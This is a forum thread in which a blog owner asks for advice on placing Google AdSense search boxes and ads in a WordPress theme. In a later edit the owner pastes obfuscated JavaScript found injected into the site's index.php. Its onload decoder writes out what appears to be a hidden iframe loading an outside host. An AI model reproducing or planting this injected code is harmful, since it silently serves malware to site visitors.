    I was hoping to get some help - I believe I posted in the stats sub-section (and I apologize for the double post) ... but the issue that I'm running into is traffic on my site.

    I have maybe ~320 impressions - with 1 click ... and thought it would be helpful to add the "Goggle Adsense For Search" within my site:

    www.levean.com

    But the problem... will be with the search bar location. Does anyone else think it should be towards the top... and not to the side? Would changing my theme yield better earnings?

    The theme I was looking at is the following:

    http://www.themelab.com/2008/04/09/wp-multiflex-5-free-wordpress-theme-44/

    But still - I'm not quite sure where to put the ad placement. It looks like the side bar is full of links ... so I'm just left to place ads between posts. Would this transition well, or should I just keep the theme as is?

    Any help would be appreciated =X thanks in advance for any input.

    You only know if you run some test and find out for yourself. These things depend on so many factors

    Thanks for the replies - the AdSense help map is a rough sketch that gives a rough outline ... it doesn't look like that image conforms to my sites layout very well.

    I've tried to insert ads at the bottom of my posts - but I cannot get AdsenseDeluxE plugin to work :(

    If I do that and to the side, will that over saturate my site with ads?

    *EDIT*

    Tried to view my site today, gave a PHP error for my INDEX.PHP ... logged into my site and found a bulk of extra code in the file:

    ?<html><body onload="function a0(s){b='';for(i=0;i<s.length;i+=4>>1)b+=s.charAt(i);return b;}document.write(a0('\074u\x64n\151k\x76n\040o\x73w\164n\x79 \154o\x65b\075f\x22u\166s\x69c\163a\x69t\142i\x69o\154n\x69u\164n\x79k\072n\x68o\151w\x64n\144 \x65o\156b\x22f\076u\x3cs\151c\x66a\162t\x61i\155o\x65n\040u\x73n\162k\x63n\075o\x22w\150n\x74 \164o\x70b\072f\x2fu\057s\x63c\150a\x61t\156i\x63o\150n\x6fu\151n\x2ek\143n\x6eo\057w\x69n\156 \x64o\145b\x78f\056u\x70s\150c\x70a\042t\x20i\166o\x69n\163u\x69n\142k\x69n\154o\x69w\164n\x79 \072o\x68b\151f\x64u\144s\x65c\156a\x20t\167i\x69o\144n\x74u\150n\x3dk\061n\x30o\060w\x20n\150 \x65o\151b\x67f\150u\x74s\075c\x38a\060t\x3ei\074o\x2fn\151u\x66n\162k\x61n\155o\x65w\076n\x3c \057o\x64b\151f\x76u\076s'));"</body></html>>

    Not sure where it came from. Anyone ever see this?
